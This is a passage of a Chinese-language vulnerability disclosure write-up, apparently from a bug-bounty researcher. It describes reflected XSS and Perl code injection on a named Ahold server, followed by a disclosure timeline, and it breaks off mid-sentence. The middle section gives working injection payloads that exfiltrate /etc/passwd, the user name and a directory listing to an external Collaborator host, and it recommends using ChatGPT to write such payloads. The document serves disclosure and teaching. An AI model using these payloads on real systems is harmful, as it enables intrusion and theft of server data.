我们可以将payload设置为一些XSS payload，并接管任何我们可以诱骗访问我们特定URL的用户的浏览器会话。一个快速的方法是创建一个好的payload：12345，返回Repeater并将&version=12345添加到请求中。在请求窗口中右键单击，选择Engagement Tools -> Generate CSRF PoC。

现在Burp为你创建一个工作的PoC，你可以用它来触发漏洞，将HTML上传到某个Web服务器，诱使受害者打开该网站，漏洞就会执行。

奖励：反射型XSS概念验证

但是如果我们能利用这个反射漏洞做更多的事情呢？每当你遇到反射型XSS漏洞时，你还应该检查服务器端模板注入漏洞。这些漏洞的影响通常要高得多，因为它们允许你在服务器上执行代码，并反映在源代码中。

由于我们知道端点运行Perl（记住URL中的扩展名），我们现在只扫描与Perl相关的代码注入。

首先在Burp中创建一个新的Live Task，转到Dashboard并点击那个橙色按钮。

打开一个新的实时任务。

现在选择列表中的所有项目（Ctrl + A）并右键单击，按Enabled。这实质上禁用了它将执行的所有扫描，这是减少噪音和服务器请求的好方法。现在搜索Perl并选择Perl Code injection选项。按保存，你就可以扫描代码注入了！

设置主动扫描，只检查Perl代码注入。

现在回到带有我们version参数的repeater，该参数会反射。现在选择我们的XSS payload的值并按Save。

将端点和特定变量添加到主动扫描中，以便它可以检查Perl代码注入。

现在是时候喝点咖啡（或一些好茶），看看Burp Active Scanner是否能找到代码注入漏洞。奖励：检查Burp中的Logger选项卡，了解Burp使用哪些payload。

砰！Burp刚刚发现了一个Perl代码注入漏洞！

所以我们现在有一个请求，通过注入payload{${sleep(lc(20))}}让服务器睡眠20秒。

我们可以通过将请求发送到repeater来轻松确认这一点（打开Request选项卡，在请求上右键单击并发送到repeater，在repeater中重新发送请求，看到它需要20秒加载）。

由于sleep(20)作为payload很无聊，并且对非技术人员没有显示实际影响，我们需要创建一些payload，实际显示我们可以在服务器上执行任何代码。

这需要时间和责任（不要破坏东西并保持比例）。只要确保公司领导层理解该漏洞确实是CVSS 10分，但不要通过泄露所有用户数据来做到这一点。

我经常做的是尝试演示我可以运行任何代码并将/etc/passwd文件泄露到外部（攻击者控制的）服务器。此文件不包含真实密码，但包含内部服务器信息。外部服务器可以是Burp Collaborator（甚至更好的是你自己的私有Collaborator）。

经过2小时的尝试，我想出了以下泄露/etc/passwd文件的payload：

version=${exec(‘perl -MMIME::Base64 -MLWP::UserAgent -e \’my $ua %3d LWP::UserAgent->new;my $response %3d $ua->post(\”http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com",Content_Type %3d> \”form-data\”, Content %3d> [file %3d> [\”/etc/passwd\”]]);\’’)}

让我解释一下它的作用：

Perl代码执行：${exec(’…’)}中的payload是Perl代码，经过URL编码以确保通过HTTP正确传输。如果服务器容易受到SSTI攻击，它会解释并执行此代码。

LWP::UserAgent模块：此Perl模块允许代码发出HTTP请求。my $ua = LWP::UserAgent->new;部分创建一个新的用户代理对象，能够发送HTTP POST请求。

发出POST请求：$ua->post(…)函数向指定URL发送POST请求，其中包含/etc/passwd文件的内容。这是攻击者的常见目标，因为它包含用户帐户信息。

请求。向客户端给出错误，但代码已执行。

/etc/passwd文件泄露到我们的服务器！注意非常过时的perl模块版本5.69。

有人可能认为“先生，你需要广泛的Perl知识才能做到这一点”。错了！

ChatGPT 4来救援。

我尝试了所有这些选项，第三个（将jo.ax.com域替换为我们的burp collaborator url后）触发了一个传入的DNS请求。解析域名通常是发现服务器上是否有代码执行的最快方法。只需在Burp Collaborator中监控任何传入的DNS请求！

之后，就是给ChatGPT 4正确的提示来创建一个实际泄露/etc/passwd文件的payload的问题。

想加快创建payload的速度吗？使用ChatGPT。

奖励payload

获取执行perl进程的当前linux用户（’nobody’）

ssn=1234&mmdd=1234&name=asdadaw&login-form-type=initial_entry&version=${exec(‘perl -MMIME::Base64 -MLWP::UserAgent -e \’my $ua %3d LWP::UserAgent->new; my $user %3d getpwuid($<);my $response %3d $ua->post(\”http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com",Content_Type %3d> \”form-data\”, Content %3d> $user);\’’)}

显示/etc/的目录内容（一长串文件和备份文件）

ssn=1234&mmdd=1234&name=asdadaw&login-form-type=initial_entry&version=${exec(‘perl -MMIME::Base64 -MLWP::UserAgent -e 'my $ua %3d LWP::UserAgent->new;opendir(DIR,"/etc/");my @files %3d readdir(DIR); closedir(DIR);my $response %3d $ua->post("http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com",Content_Type %3d> "form-data", Content %3d> join("\n", @files));'’)}

结论

我们今天演示了我们可以完全入侵ws1.aholdusa.com服务器。一个身份管理系统/LDAP服务器。我在3.5年前发现了这个漏洞，但它可能自2005年12月15日以来就一直存在。

使用此服务器的所有用户/员工/客户/供应商的数据应被视为已泄露，因为我们演示了完全的远程代码执行并能够建立到我们自己服务器的出站连接。

无法知道服务器是否未被恶意行为者入侵，因为这需要大量的日志。在这种情况下，包含POST正文值的日志。在这个应用程序中，你会不惜一切代价避免这种情况，因为这也会以明文形式泄露用户名和密码（记住受影响的端点用于登录用户）。此外，这些日志需要追溯到18年前，以证明此漏洞从未被利用。

时间线

2020年4月23日 — 向Ahold安全团队报告了该漏洞，见下文电子邮件。

初始报告（从Ahold的个人中删除了某些名称，我把他们放在收件人中）

2020年4月23日 — Ahold确认了该漏洞，承诺告知我进展。

3.5年后的回复（删除了个人的名称）。有人可能会问为什么网络防御团队没有自己检查是否真的修复了。

2023年11月2日 — Ahold请求我确认漏洞修复并提供修复证明

2023年11月6日 — Ahold再次发送电子邮件请求我确认漏洞已修复（我没有时间更早回复）

2023年11月6日 — 回复说我惊讶为什么漏洞没有更早修复，请求有关信息，并承诺检查是否修复。

询问跟进中出了什么问题，计算机说不。给公司的建议；要有人情味，使用名字，与研究人